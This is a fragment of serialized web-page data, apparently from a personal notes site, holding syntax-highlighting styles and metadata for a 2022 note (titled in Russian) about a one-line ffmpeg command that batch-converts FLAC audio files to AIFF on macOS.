var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":19,"searchDepth":20,"depth":20,"links":1131},[],"2022-08-10","Однострочник для конвертации всех FLAC файлов в AIFF через ffmpeg на macOS",{},"\u002Fnotes\u002Fdevops\u002Fbatch-convert-music-files-flac-aiff-ffmpeg",{"title":1019,"description":1133},"notes\u002Fdevops\u002Fbatch-convert-music-files-flac-aiff-ffmpeg",[1139,1140,1015,1141],"ffmpeg","audio","macos","eSrfOKrhJhEudfeuEd5ti516NYPB5St5RfesDpohskc",[1144],{"id":1018,"title":1019,"author":668,"body":1145,"date":1132,"description":1133,"extension":22,"image":6,"meta":1225,"navigation":24,"path":1135,"seo":1226,"stem":1137,"tags":1227,"__hash__":1142},{"type":8,"value":1146,"toc":1223},[1147,1149,1151,1163,1169,1221],[11,1148,1019],{"id":1024},[15,1150,1027],{},[117,1152,1153],{"className":977,"code":1030,"language":979,"meta":19,"style":19},[60,1154,1155],{"__ignoreMap":19},[143,1156,1157,1159,1161],{"class":145,"line":146},[143,1158,1037],{"class":751},[143,1160,1040],{"class":730},[143,1162,1043],{"class":730},[15,1164,1046,1165,1050,1167,191],{},[60,1166,1049],{},[60,1168,1053],{},[117,1170,1171],{"className":977,"code":1056,"language":979,"meta":19,"style":19},[60,1172,1173],{"__ignoreMap":19},[143,1174,1175,1177,1179,1181,1183,1185,1187,1189,1191,1193,1195,1197,1199,1201,1203,1205,1207,1209,1211,1213,1215,1217,1219],{"class":145,"line":146},[143,1176,1063],{"class":720},[143,1178,1066],{"class":707},[143,1180,1069],{"class":720},[143,1182,1072],{"class":730},[143,1184,1075],{"class":707},[143,1186,1078],{"class":720},[143,1188,1081],{"class":751},[143,1190,1084],{"class":763},[143,1192,1087],{"class":730},[143,1194,1090],{"class":707},[143,1196,1093],{"class":730},[143,1198,1096],{"class":763},[143,1200,1099],{"class":763},[143,1202,1102],{"class":763},[143,1204,1105],{"class":730},[143,1206,1108],{"class":730},[143,1208,1111],{"class":707},[143,1210,1114],{"class":720},[143,1212,211],{"class":730},[143,1214,832],{"class":720},[143,1216,1121],{"class":730},[143,1218,1075],{"class":707},[143,1220,1126],{"class":720},[639,1222,1129],{},{"title":19,"searchDepth":20,"depth":20,"links":1224},[],{},{"title":1019,"description":1133},[1139,1140,1015,1141],1776084468359]